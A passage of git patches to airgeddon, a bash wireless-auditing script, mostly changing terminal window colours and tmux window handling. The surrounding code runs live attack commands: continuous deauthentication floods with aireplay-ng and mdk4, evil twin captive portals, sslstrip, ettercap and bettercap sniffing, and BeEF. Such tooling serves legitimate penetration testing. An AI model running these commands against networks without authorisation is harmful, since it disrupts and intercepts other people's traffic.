"Deauth" #xterm -hold -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "${deauth_et_cmd}" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) @@ -8924,7 +8924,7 @@ function launch_dns_blackhole() { debug_print recalculate_windows_sizes - manage_output "-hold -bg black -fg blue -geometry ${g4_middleright_window} -T \"DNS\"" "${optional_tools_names[12]} -i ${interface}" "DNS" + manage_output "-hold -bg \"#000000\" -fg \"#0000FF\" -geometry ${g4_middleright_window} -T \"DNS\"" "${optional_tools_names[12]} -i ${interface}" "DNS" #xterm -hold -bg black -fg blue -geometry "${g4_middleright_window}" -T "DNS" -e "${optional_tools_names[12]} -i ${interface}" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) @@ -8945,7 +8945,7 @@ function launch_enterprise_control_window() { debug_print recalculate_windows_sizes - xterm -hold -bg black -fg white -geometry "${g1_topright_window}" -T "Control" -e "bash \"${tmpdir}${control_enterprise_file}\"" > /dev/null 2>&1 & + xterm -hold -bg "#000000" -fg "#FFFFFF" -geometry "${g1_topright_window}" -T "Control" -e "bash \"${tmpdir}${control_enterprise_file}\"" > /dev/null 2>&1 & enterprise_process_control_window=$! } @@ -8976,7 +8976,7 @@ function launch_et_control_window() { control_scr_window_position=${g4_topright_window} ;; esac - manage_output "-hold -bg black -fg white -geometry ${control_scr_window_position} -T \"Control\"" "bash \"${tmpdir}${control_et_file}\"" "Control" + manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${control_scr_window_position} -T \"Control\"" "bash \"${tmpdir}${control_et_file}\"" "Control" #xterm -hold -bg black -fg white -geometry "${control_scr_window_position}" -T "Control" -e "bash \"${tmpdir}${control_et_file}\"" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_process_control_window=$! @@ -9234,7 +9234,7 @@ function launch_webserver() { else lighttpd_window_position=${g4_bottomright_window} fi - manage_output "-hold -bg black -fg yellow -geometry ${lighttpd_window_position} -T \"Webserver\"" "lighttpd -D -f \"${tmpdir}${webserver_file}\"" "Webserver" + manage_output "-hold -bg \"#000000\" -fg \"#FFFF00\" -geometry ${lighttpd_window_position} -T \"Webserver\"" "lighttpd -D -f \"${tmpdir}${webserver_file}\"" "Webserver" #xterm -hold -bg black -fg yellow -geometry "${lighttpd_window_position}" -T "Webserver" -e "lighttpd -D -f \"${tmpdir}${webserver_file}\"" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) @@ -9256,7 +9256,7 @@ function launch_sslstrip() { rm -rf "${tmpdir}${sslstrip_file}" > /dev/null 2>&1 recalculate_windows_sizes - manage_output "-hold -bg black -fg blue -geometry ${g4_middleright_window} -T \"Sslstrip\"" "sslstrip -w \"${tmpdir}${sslstrip_file}\" -p -l ${sslstrip_port} -f -k" "Sslstrip" + manage_output "-hold -bg \"#000000\" -fg \"#0000FF\" -geometry ${g4_middleright_window} -T \"Sslstrip\"" "sslstrip -w \"${tmpdir}${sslstrip_file}\" -p -l ${sslstrip_port} -f -k" "Sslstrip" #xterm -hold -bg black -fg blue -geometry "${g4_middleright_window}" -T "Sslstrip" -e "sslstrip -w \"${tmpdir}${sslstrip_file}\" -p -l ${sslstrip_port} -f -k" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) @@ -9290,7 +9290,7 @@ function launch_ettercap_sniffing() { ettercap_cmd+=" -l \"${tmp_ettercaplog}\"" fi - manage_output "-hold -bg black -fg yellow -geometry ${sniffing_scr_window_position} -T \"Sniffer\"" "${ettercap_cmd}" "Sniffer" + manage_output "-hold -bg \"#000000\" -fg \"#FFFF00\" -geometry ${sniffing_scr_window_position} -T \"Sniffer\"" "${ettercap_cmd}" "Sniffer" #xterm -hold -bg black -fg yellow -geometry "${sniffing_scr_window_position}" -T "Sniffer" -e "${ettercap_cmd}" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) @@ -9577,7 +9577,7 @@ function launch_beef() { if [ "${beef_found}" -eq 1 ]; then rm -rf "${beef_path}${beef_file}" > /dev/null 2>&1 cp "${tmpdir}${beef_file}" "${beef_path}" > /dev/null 2>&1 - manage_output "-hold -bg black -fg green -geometry ${g4_middleright_window} -T \"BeEF\"" "cd ${beef_path} && ./beef -c \"${beef_file}\"" "BeEF" + manage_output "-hold -bg \"#000000\" -fg \"#00FF00\" -geometry ${g4_middleright_window} -T \"BeEF\"" "cd ${beef_path} && ./beef -c \"${beef_file}\"" "BeEF" #xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "BeEF" -e "cd ${beef_path} && ./beef -c \"${beef_file}\"" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then beef_cmd_line=$(echo "cd ${beef_path} && ./beef -c \"${beef_file}\"" | tr -d '"') @@ -9587,7 +9587,7 @@ function launch_beef() { et_processes+=("${beef_pid}") fi else - manage_output "-hold -bg black -fg green -geometry ${g4_middleright_window} -T \"BeEF\"" "${optional_tools_names[19]}" "BeEF" + manage_output "-hold -bg \"#000000\" -fg \"#00FF00\" -geometry ${g4_middleright_window} -T \"BeEF\"" "${optional_tools_names[19]}" "BeEF" #xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "BeEF" -e "${optional_tools_names[19]}" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then beef_cmd_line=$(echo "${optional_tools_names[19]}" | tr -d '"') @@ -9622,7 +9622,7 @@ function launch_bettercap_sniffing() { bettercap_cmd+=" -O \"${tmp_bettercaplog}\"" fi - manage_output "-hold -bg black -fg yellow -geometry ${sniffing_scr_window_position} -T \"Sniffer+Bettercap-Sslstrip2/BeEF\"" "${bettercap_cmd}" "Sniffer+Bettercap-Sslstrip2/BeEF" + manage_output "-hold -bg \"#000000\" -fg \"#FFFF00\" -geometry ${sniffing_scr_window_position} -T \"Sniffer+Bettercap-Sslstrip2/BeEF\"" "${bettercap_cmd}" "Sniffer+Bettercap-Sslstrip2/BeEF" #xterm -hold -bg black -fg yellow -geometry "${sniffing_scr_window_position}" -T "Sniffer+Bettercap-Sslstrip2/BeEF" -e "${bettercap_cmd}" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then local sslstrip2_pid @@ -10074,18 +10074,18 @@ function capture_handshake_evil_twin() { rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 echo "${bssid}" > "${tmpdir}bl.txt" recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "mdk4 amok attack" -e mdk4 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & + xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "mdk4 amok attack" -e mdk4 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & sleeptimeattack=12 ;; "Aireplay") ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & + xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & sleeptimeattack=12 ;; "Wds Confusion") recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "wids / wips / wds confusion attack" -e mdk4 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & + xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "wids / wips / wds confusion attack" -e mdk4 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & sleeptimeattack=16 ;; esac @@ -10541,7 +10541,7 @@ function attack_handshake_menu() { rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 echo "${bssid}" > "${tmpdir}bl.txt" recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "mdk4 amok attack" -e mdk4 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & + xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "mdk4 amok attack" -e mdk4 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & sleeptimeattack=12 fi ;; @@ -10554,7 +10554,7 @@ function attack_handshake_menu() { capture_handshake_window ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & + xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & sleeptimeattack=12 fi ;; @@ -10566,7 +10566,7 @@ function attack_handshake_menu() { ask_timeout "capture_handshake" capture_handshake_window recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "wids / wips / wds confusion attack" -e mdk4 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & + xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "wids / wips / wds confusion attack" -e mdk4 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & sleeptimeattack=16 fi ;; @@ -10653,7 +10653,7 @@ function explore_for_targets_option() { fi recalculate_windows_sizes - xterm +j -bg black -fg white -geometry "${g1_topright_window}" -T "Exploring for targets" -e airodump-ng -w "${tmpdir}nws" --encrypt "${cypher_filter}" "${interface}" --band "${airodump_band_modifier}" > /dev/null 2>&1 + xterm +j -bg "#000000" -fg "#FFFFFF" -geometry "${g1_topright_window}" -T "Exploring for targets" -e airodump-ng -w "${tmpdir}nws" --encrypt "${cypher_filter}" "${interface}" --band "${airodump_band_modifier}" > /dev/null 2>&1 targetline=$(awk '/(^Station[s]?|^Client[es]?)/{print NR}' < "${tmpdir}nws-01.csv") targetline=$((targetline - 1)) @@ -10769,7 +10769,7 @@ function explore_for_wps_targets_option() { rm -rf "${tmpdir}wps"* > /dev/null 2>&1 recalculate_windows_sizes - xterm +j -bg black -fg white -geometry "${g1_topright_window}" -T "Exploring for WPS targets" -e "wash -i \"${interface}\" ${wash_ifaces_already_set[${interface}]} ${wash_band_modifier} | tee \"${tmpdir}wps.txt\"" > /dev/null 2>&1 + xterm +j -bg "#000000" -fg "#FFFFFF" -geometry "${g1_topright_window}" -T "Exploring for WPS targets" -e "wash -i \"${interface}\" ${wash_ifaces_already_set[${interface}]} ${wash_band_modifier} | tee \"${tmpdir}wps.txt\"" > /dev/null 2>&1 readarray -t WASH_PREVIEW < <(cat < "${tmpdir}wps.txt" 2> /dev/null) From 02113ed85d6c52e563eef6539b14bb2b0e341886 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 26 Mar 2019 14:48:38 +0100 Subject: [PATCH 023/148] Added color implementation for tmux windows --- airgeddon.sh | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 99d202a36..ec9a32423 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -13288,6 +13288,13 @@ function start_tmux_processes() { tmux kill-window -t "${session_name}:${window_name}" 2> /dev/null tmux new-window -t "${session_name}:" -n "${window_name}" + local tmux_color_cmd + if [ -n "${3}" ]; then + tmux_color_cmd="bg=#000000 fg=${3}" + else + tmux_color_cmd="bg=#000000" + fi + tmux setw -t "${window_name}" window-style "${tmux_color_cmd}" tmux send-keys -t "${session_name}:${window_name}" "${command_line}" ENTER } @@ -13346,7 +13353,10 @@ function manage_output() { case "${AIRGEDDON_WINDOWS_HANDLING}" in "tmux") - start_tmux_processes "${window_name}" "clear;${tmux_command_line}" + local tmux_color + tmux_color="" + [[ "${1}" =~ \-fg[[:blank:]](\")?(#[0-9a-fA-F]+) ]] && tmux_color="${BASH_REMATCH[2]}" + start_tmux_processes "${window_name}" "clear;${tmux_command_line}" "${tmux_color}" ;; "xterm") eval "xterm ${xterm_parameters} -e ${xterm_command_line}${command_tail}" From 8e6955b314acc28621f7aeef92fc0d6b1ae45e0b Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 26 Mar 2019 15:26:00 +0100 Subject: [PATCH 024/148] Pink xterm/tmux color modified --- airgeddon.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index ec9a32423..730ab823a 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -7954,7 +7954,7 @@ function launch_dhcp_server() { dchcpd_scr_window_position=${g4_middleleft_window} ;; esac - manage_output "-hold -bg \"#000000\" -fg \"#FF69B4\" -geometry ${dchcpd_scr_window_position} -T \"DHCP\"" "dhcpd -d -cf \"${dhcp_path}\" ${interface} 2>&1 | tee -a ${tmpdir}clts.txt 2>&1" "DHCP" + manage_output "-hold -bg \"#000000\" -fg \"#FFC0CB\" -geometry ${dchcpd_scr_window_position} -T \"DHCP\"" "dhcpd -d -cf \"${dhcp_path}\" ${interface} 2>&1 | tee -a ${tmpdir}clts.txt 2>&1" "DHCP" #xterm -hold -bg black -fg pink -geometry "${dchcpd_scr_window_position}" -T "DHCP" -e "dhcpd -d -cf \"${dhcp_path}\" ${interface} 2>&1 | tee -a ${tmpdir}/clts.txt" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) From c907ac8e7457e930aaf3d0df1514e59360a5d552 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Wed, 27 Mar 2019 03:33:21 +0530 Subject: [PATCH 025/148] Added a function to kill tmux windows when users exits from an ongoing attack without its successful completion --- airgeddon.sh | 24 +++++++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 730ab823a..14d443f98 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20190326 +#Date.........: 20190327 #Version......: 9.11 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -13340,6 +13340,28 @@ function transfer_to_tmux() { fi } +function kill_tmux_windows() { + + debug_print + + local tmux_windows_list=() + local current_window_name + local last_char + readarray -t tmux_windows_list < <(tmux list-windows -t "${session_name}:") + for item in "${tmux_windows_list[@]}"; do + current_window_name=$(echo "${item}" | awk -F '[:|(]' '{print $2}') + current_window_name="${current_window_name:1: -1}" + last_char="${current_window_name:(-1)}" + if [[ "${last_char}" = "*" ]] || [[ "${last_char}" = "-" ]]; then + current_window_name="${current_window_name::-1}" + fi + if [ "${current_window_name}" = "airgeddon-Main" ]; then + continue; + fi + tmux kill-window -t "${session_name}:${current_window_name}" + done +} + #Centralized function to launch window using xterm/tmux function manage_output() { From ea0ce059313a04c3ed7ac446e99927a748c845c9 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Wed, 27 Mar 2019 03:35:41 +0530 Subject: [PATCH 026/148] Revert an earlier commit to be in line with new process handling method --- airgeddon.sh | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 14d443f98..2d47c7181 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -9744,13 +9744,9 @@ function write_et_processes() { debug_print - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - touch "${tmpdir}${webdir}${et_processesfile}" - else - for item in "${et_processes[@]}"; do - echo "${item}" >> "${tmpdir}${webdir}${et_processesfile}" - done - fi + for item in "${et_processes[@]}"; do + echo "${item}" >> "${tmpdir}${webdir}${et_processesfile}" + done } #Write on a file the id of the Enterprise Evil Twin attack processes From 1d1c23ebecead5e030ce5ef89ad61b91e4c521aa Mon Sep 17 00:00:00 2001 From: xpz3 Date: Wed, 27 Mar 2019 03:37:38 +0530 Subject: [PATCH 027/148] Evil Twin Attack With Captive Portal - Added function call to kill all tmux windows when user exits ongoing attack without completion --- airgeddon.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/airgeddon.sh b/airgeddon.sh index 2d47c7181..abcb740e1 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -7582,6 +7582,7 @@ function exec_et_captive_portal_attack() { language_strings "${language}" 115 "read" kill_et_windows + kill_tmux_windows if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi From e09f77ec36f98f8dcbed8c933e81081fe780783e Mon Sep 17 00:00:00 2001 From: xpz3 Date: Wed, 27 Mar 2019 03:45:55 +0530 Subject: [PATCH 028/148] Evil Twin Attack With Captive Portal - Added function call to kill required tmux windows after successful completion of the attack. --- airgeddon.sh | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/airgeddon.sh b/airgeddon.sh index abcb740e1..d5f38e9ef 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -8719,6 +8719,30 @@ function set_et_control_script() { } EOF + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&7 <<-'EOF' + function kill_tmux_windows() { + + local tmux_windows_list=() + local current_window_name + local last_char + readarray -t tmux_windows_list < <(tmux list-windows -t "${session_name}:") + for item in "${tmux_windows_list[@]}"; do + current_window_name=$(echo "${item}" | awk -F '[:|(]' '{print $2}') + current_window_name="${current_window_name:1: -1}" + last_char="${current_window_name:(-1)}" + if [[ "${last_char}" = "*" ]] || [[ "${last_char}" = "-" ]]; then + current_window_name="${current_window_name::-1}" + fi + if [[ "${current_window_name}" = "airgeddon-Main" ]] || [[ "${current_window_name}" = "Control" ]]; then + continue; + fi + tmux kill-window -t "${session_name}:${current_window_name}" + done +} + EOF + fi + cat >&7 <<-EOF function finish_evil_twin() { @@ -8796,6 +8820,15 @@ function set_et_control_script() { kill "$(ps -C aireplay-ng --no-headers -o pid | tr -d ' ')" &> /dev/null kill "$(ps -C lighttpd --no-headers -o pid | tr -d ' ')" &> /dev/null kill_et_windows + EOF + + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&7 <<-EOF + kill_tmux_windows + EOF + fi + + cat >&7 <<-EOF exit 0 } fi From 40d1ec507be338589dda74ce0f79910461400bf4 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Wed, 27 Mar 2019 03:57:31 +0530 Subject: [PATCH 029/148] Exploring Targets - Added support for unified xterm/tmux calls --- airgeddon.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index d5f38e9ef..78617d2ee 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -10683,7 +10683,8 @@ function explore_for_targets_option() { fi recalculate_windows_sizes - xterm +j -bg "#000000" -fg "#FFFFFF" -geometry "${g1_topright_window}" -T "Exploring for targets" -e airodump-ng -w "${tmpdir}nws" --encrypt "${cypher_filter}" "${interface}" --band "${airodump_band_modifier}" > /dev/null 2>&1 + manage_output "+j -bg "#000000" -fg "#FFFFFF" -geometry ${g1_topright_window} -T \"Exploring for targets\"" "airodump-ng -w ${tmpdir}nws --encrypt ${cypher_filter} ${interface} --band ${airodump_band_modifier}" "Exploring for targets" + #xterm +j -bg "#000000" -fg "#FFFFFF" -geometry "${g1_topright_window}" -T "Exploring for targets" -e airodump-ng -w "${tmpdir}nws" --encrypt "${cypher_filter}" "${interface}" --band "${airodump_band_modifier}" > /dev/null 2>&1 targetline=$(awk '/(^Station[s]?|^Client[es]?)/{print NR}' < "${tmpdir}nws-01.csv") targetline=$((targetline - 1)) From 309aa7a13fc83c1bb801dc8b934659bcc5a99b8a Mon Sep 17 00:00:00 2001 From: xpz3 Date: Wed, 27 Mar 2019 04:00:55 +0530 Subject: [PATCH 030/148] Exploring Targets - Implemented new method to wait for and capture targets when using tmux --- airgeddon.sh | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/airgeddon.sh b/airgeddon.sh index 78617d2ee..2fb543af5 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -10685,6 +10685,27 @@ function explore_for_targets_option() { recalculate_windows_sizes manage_output "+j -bg "#000000" -fg "#FFFFFF" -geometry ${g1_topright_window} -T \"Exploring for targets\"" "airodump-ng -w ${tmpdir}nws --encrypt ${cypher_filter} ${interface} --band ${airodump_band_modifier}" "Exploring for targets" #xterm +j -bg "#000000" -fg "#FFFFFF" -geometry "${g1_topright_window}" -T "Exploring for targets" -e airodump-ng -w "${tmpdir}nws" --encrypt "${cypher_filter}" "${interface}" --band "${airodump_band_modifier}" > /dev/null 2>&1 + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + local explore_running + local explore_process_pid + local explore_cmd_line + local exp_target + explore_cmd_line=$(echo "airodump-ng -w ${tmpdir}nws --encrypt ${cypher_filter} ${interface} --band ${airodump_band_modifier}" | tr -d '"') + + while [ -z "${explore_process_pid}" ]; do + explore_process_pid=$(ps --no-headers aux | grep "${explore_cmd_line}" | grep -v "grep ${explore_cmd_line}" | awk '{print $2}' | tr '\n' ':') + if [ -n "${explore_process_pid}" ]; then + explore_process_pid="${explore_process_pid%%:*}" + explore_running="${explore_process_pid}" + fi + done + while [ -n "${explore_running}" ]; do + explore_running=$(ps aux | grep "$explore_process_pid" | grep -v "grep $explore_process_pid") + sleep 1 + done + exp_target="Exploring for targets" + tmux kill-window -t "${session_name}:$exp_target" + fi targetline=$(awk '/(^Station[s]?|^Client[es]?)/{print NR}' < "${tmpdir}nws-01.csv") targetline=$((targetline - 1)) From 2eca86ea49f586bea28a3c2df40d02e48e18a388 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Wed, 27 Mar 2019 07:43:29 +0530 Subject: [PATCH 031/148] Minor code fixes --- airgeddon.sh | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 2fb543af5..74b81d7ba 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -8723,23 +8723,23 @@ function set_et_control_script() { cat >&7 <<-'EOF' function kill_tmux_windows() { - local tmux_windows_list=() + local TMUX_WINDOWS_LIST=() local current_window_name local last_char - readarray -t tmux_windows_list < <(tmux list-windows -t "${session_name}:") - for item in "${tmux_windows_list[@]}"; do + readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "\${session_name}:") + for item in "${TMUX_WINDOWS_LIST[@]}"; do current_window_name=$(echo "${item}" | awk -F '[:|(]' '{print $2}') current_window_name="${current_window_name:1: -1}" - last_char="${current_window_name:(-1)}" + last_char="${current_window_name: -1}" if [[ "${last_char}" = "*" ]] || [[ "${last_char}" = "-" ]]; then current_window_name="${current_window_name::-1}" fi - if [[ "${current_window_name}" = "airgeddon-Main" ]] || [[ "${current_window_name}" = "Control" ]]; then - continue; + if [[ "${current_window_name}" = "\${tmux_main_window}" ]] || [[ "${current_window_name}" = "Control" ]]; then + continue fi - tmux kill-window -t "${session_name}:${current_window_name}" + tmux kill-window -t "\${session_name}:${current_window_name}" done -} + } EOF fi @@ -13396,19 +13396,19 @@ function kill_tmux_windows() { debug_print - local tmux_windows_list=() + local TMUX_WINDOWS_LIST=() local current_window_name local last_char - readarray -t tmux_windows_list < <(tmux list-windows -t "${session_name}:") - for item in "${tmux_windows_list[@]}"; do + readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "${session_name}:") + for item in "${TMUX_WINDOWS_LIST[@]}"; do current_window_name=$(echo "${item}" | awk -F '[:|(]' '{print $2}') current_window_name="${current_window_name:1: -1}" - last_char="${current_window_name:(-1)}" + last_char="${current_window_name: -1}" if [[ "${last_char}" = "*" ]] || [[ "${last_char}" = "-" ]]; then current_window_name="${current_window_name::-1}" fi - if [ "${current_window_name}" = "airgeddon-Main" ]; then - continue; + if [ "${current_window_name}" = "${tmux_main_window}" ]; then + continue fi tmux kill-window -t "${session_name}:${current_window_name}" done From be181927ad3bb96975bc99b81e0a38a1ef6e1e79 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Wed, 27 Mar 2019 09:08:50 +0100 Subject: [PATCH 032/148] Fixed some shellcheck warnings --- airgeddon.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 74b81d7ba..27837aede 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -10683,7 +10683,7 @@ function explore_for_targets_option() { fi recalculate_windows_sizes - manage_output "+j -bg "#000000" -fg "#FFFFFF" -geometry ${g1_topright_window} -T \"Exploring for targets\"" "airodump-ng -w ${tmpdir}nws --encrypt ${cypher_filter} ${interface} --band ${airodump_band_modifier}" "Exploring for targets" + manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Exploring for targets\"" "airodump-ng -w ${tmpdir}nws --encrypt ${cypher_filter} ${interface} --band ${airodump_band_modifier}" "Exploring for targets" #xterm +j -bg "#000000" -fg "#FFFFFF" -geometry "${g1_topright_window}" -T "Exploring for targets" -e airodump-ng -w "${tmpdir}nws" --encrypt "${cypher_filter}" "${interface}" --band "${airodump_band_modifier}" > /dev/null 2>&1 if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then local explore_running @@ -13429,7 +13429,7 @@ function manage_output() { "tmux") local tmux_color tmux_color="" - [[ "${1}" =~ \-fg[[:blank:]](\")?(#[0-9a-fA-F]+) ]] && tmux_color="${BASH_REMATCH[2]}" + [[ "${1}" =~ -fg[[:blank:]](\")?(#[0-9a-fA-F]+) ]] && tmux_color="${BASH_REMATCH[2]}" start_tmux_processes "${window_name}" "clear;${tmux_command_line}" "${tmux_color}" ;; "xterm") From e551e00c1b62b60558b2b36b3b10da24c3d43d5b Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Wed, 27 Mar 2019 09:20:17 +0100 Subject: [PATCH 033/148] Adding more correct brackets style to some vars --- airgeddon.sh | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 27837aede..5381e3da7 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -7964,7 +7964,7 @@ function launch_dhcp_server() { local dhcp_cmd_line dhcp_cmd_line=$(echo "dhcpd -d -cf \"${dhcp_path}\" ${interface}" | tr -d '"') while [ -z "${dhcp_pid}" ]; do - dhcp_pid=$(ps --no-headers aux | grep "$dhcp_cmd_line" | grep -v "grep $dhcp_cmd_line" | awk '{print $2}') + dhcp_pid=$(ps --no-headers aux | grep "${dhcp_cmd_line}" | grep -v "grep ${dhcp_cmd_line}" | awk '{print $2}') done et_processes+=("${dhcp_pid}") fi @@ -8026,7 +8026,7 @@ function exec_et_deauth() { local deauth_cmd_line deauth_cmd_line=$(echo "${deauth_et_cmd}" | tr -d '"') while [ -z "${deauth_pid}" ]; do - deauth_pid=$(ps --no-headers aux | grep "$deauth_cmd_line" | grep -v "grep $deauth_cmd_line" | awk '{print $2}') + deauth_pid=$(ps --no-headers aux | grep "${deauth_cmd_line}" | grep -v "grep ${deauth_cmd_line}" | awk '{print $2}') done et_processes+=("${deauth_pid}") fi @@ -8967,7 +8967,7 @@ function launch_dns_blackhole() { local dns_cmd_line dns_cmd_line=$(echo "${optional_tools_names[12]} -i ${interface}" | tr -d '"') while [ -z "${dns_pid}" ]; do - dns_pid=$(ps --no-headers aux | grep "$dns_cmd_line" | grep -v "grep $dns_cmd_line" | awk '{print $2}') + dns_pid=$(ps --no-headers aux | grep "${dns_cmd_line}" | grep -v "grep ${dns_cmd_line}" | awk '{print $2}') done et_processes+=("${dns_pid}") fi @@ -9019,7 +9019,7 @@ function launch_et_control_window() { local control_cmd_line control_cmd_line=$(echo "bash \"${tmpdir}${control_et_file}\"" | tr -d '"') while [ -z "${control_pid}" ]; do - control_pid=$(ps --no-headers aux | grep "$control_cmd_line" | grep -v "grep $control_cmd_line" | awk '{print $2}') + control_pid=$(ps --no-headers aux | grep "${control_cmd_line}" | grep -v "grep ${control_cmd_line}" | awk '{print $2}') done et_process_control_window="${control_pid}" fi @@ -9277,7 +9277,7 @@ function launch_webserver() { local webserver_cmd_line webserver_cmd_line=$(echo "lighttpd -D -f \"${tmpdir}${webserver_file}\"" | tr -d '"') while [ -z "${webserver_pid}" ]; do - webserver_pid=$(ps --no-headers aux | grep "$webserver_cmd_line" | grep -v "grep $webserver_cmd_line" | awk '{print $2}') + webserver_pid=$(ps --no-headers aux | grep "${webserver_cmd_line}" | grep -v "grep ${webserver_cmd_line}" | awk '{print $2}') done et_processes+=("${webserver_pid}") fi @@ -9299,7 +9299,7 @@ function launch_sslstrip() { local sslstrip_cmd_line sslstrip_cmd_line=$(echo "sslstrip -w \"${tmpdir}${sslstrip_file}\" -p -l ${sslstrip_port} -f -k" | tr -d '"') while [ -z "${sslstrip_pid}" ]; do - sslstrip_pid=$(ps --no-headers aux | grep "$sslstrip_cmd_line" | grep -v "grep 